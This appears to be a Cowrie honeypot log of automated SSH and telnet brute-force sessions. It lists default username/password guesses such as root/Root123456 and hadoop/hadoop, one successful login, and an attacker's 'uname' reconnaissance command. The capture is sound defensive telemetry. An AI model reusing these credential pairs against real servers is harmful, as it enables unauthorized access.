{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:18.722095Z","src_ip":"141.11.88.14","session":"6c5a43bd9702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:18.726465Z","src_ip":"141.11.88.14","session":"6c5a43bd9702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"password","message":"login attempt [splunk/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:19.430947Z","src_ip":"141.11.88.14","session":"6c5a43bd9702","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:20.841805Z","src_ip":"141.11.88.14","session":"6c5a43bd9702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44954,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d6f4e9e7ea5","protocol":"ssh","message":"New connection: 141.11.88.14:44954 (10.17.0.5:22) [session: 9d6f4e9e7ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:24.509881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:24.681694Z","src_ip":"141.11.88.14","session":"9d6f4e9e7ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:24.685022Z","src_ip":"141.11.88.14","session":"9d6f4e9e7ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:25.363757Z","src_ip":"141.11.88.14","session":"9d6f4e9e7ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:26.530062Z","src_ip":"141.11.88.14","session":"9d6f4e9e7ea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63214,"dst_ip":"10.17.0.5","dst_port":22,"session":"23d220923801","protocol":"ssh","message":"New connection: 141.11.88.14:63214 (10.17.0.5:22) [session: 23d220923801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:29.333792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:29.717800Z","src_ip":"141.11.88.14","session":"23d220923801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:29.721826Z","src_ip":"141.11.88.14","session":"23d220923801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"modzmodz","message":"login attempt [user1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:32.192607Z","src_ip":"141.11.88.14","session":"23d220923801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:33.276006Z","src_ip":"141.11.88.14","session":"23d220923801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63320,"dst_ip":"10.17.0.5","dst_port":22,"session":"c86c551b6195","protocol":"ssh","message":"New connection: 141.11.88.14:63320 (10.17.0.5:22) [session: c86c551b6195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:36.164374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:36.174383Z","src_ip":"141.11.88.14","session":"c86c551b6195","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:36.249403Z","src_ip":"141.11.88.14","session":"c86c551b6195","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123456","message":"login attempt [root/Root123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:36.811284Z","src_ip":"141.11.88.14","session":"c86c551b6195","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:37.966839Z","src_ip":"141.11.88.14","session":"c86c551b6195","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":22480,"dst_ip":"10.17.0.5","dst_port":22,"session":"aafc9548058a","protocol":"ssh","message":"New connection: 141.11.88.14:22480 (10.17.0.5:22) [session: aafc9548058a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:43.043892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:43.138355Z","src_ip":"141.11.88.14","session":"aafc9548058a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:43.142959Z","src_ip":"141.11.88.14","session":"aafc9548058a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"password","message":"login attempt [claude/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:43.873131Z","src_ip":"141.11.88.14","session":"aafc9548058a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:45.029352Z","src_ip":"141.11.88.14","session":"aafc9548058a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":19566,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cd8849d1a9b","protocol":"ssh","message":"New connection: 141.11.88.14:19566 (10.17.0.5:22) [session: 8cd8849d1a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:50.797620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:50.854312Z","src_ip":"141.11.88.14","session":"8cd8849d1a9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:51.035706Z","src_ip":"141.11.88.14","session":"8cd8849d1a9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:51.594660Z","src_ip":"141.11.88.14","session":"8cd8849d1a9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:52.680348Z","src_ip":"141.11.88.14","session":"8cd8849d1a9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59390,"dst_ip":"159.203.135.109","dst_port":23,"session":"2753886bdb05","protocol":"telnet","message":"New connection: 172.81.62.90:59390 (159.203.135.109:23) [session: 2753886bdb05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:54.760990Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":19590,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cfbc995fe7c","protocol":"ssh","message":"New connection: 141.11.88.14:19590 (10.17.0.5:22) [session: 2cfbc995fe7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:56.828460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:57.041320Z","src_ip":"141.11.88.14","session":"2cfbc995fe7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:57.051112Z","src_ip":"141.11.88.14","session":"2cfbc995fe7c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:58.960024Z","src_ip":"141.11.88.14","session":"2cfbc995fe7c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:59.721133Z","src_ip":"141.11.88.14","session":"2cfbc995fe7c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:31:59.724227Z","src_ip":"141.11.88.14","session":"2cfbc995fe7c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:00.313169Z","src_ip":"141.11.88.14","session":"2cfbc995fe7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:00.320099Z","src_ip":"141.11.88.14","session":"2cfbc995fe7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":45062,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf5995e3e1b1","protocol":"ssh","message":"New connection: 41.86.34.139:45062 (10.17.0.5:22) [session: bf5995e3e1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:00.794988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:00.802026Z","src_ip":"41.86.34.139","session":"bf5995e3e1b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:01.011373Z","src_ip":"41.86.34.139","session":"bf5995e3e1b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1515","message":"login attempt [root/1515] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:01.891200Z","src_ip":"41.86.34.139","session":"bf5995e3e1b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":55050,"dst_ip":"159.203.135.109","dst_port":22,"session":"489b78b8a80b","protocol":"ssh","message":"New connection: 211.253.37.225:55050 (159.203.135.109:22) [session: 489b78b8a80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:32:01.953699Z"}
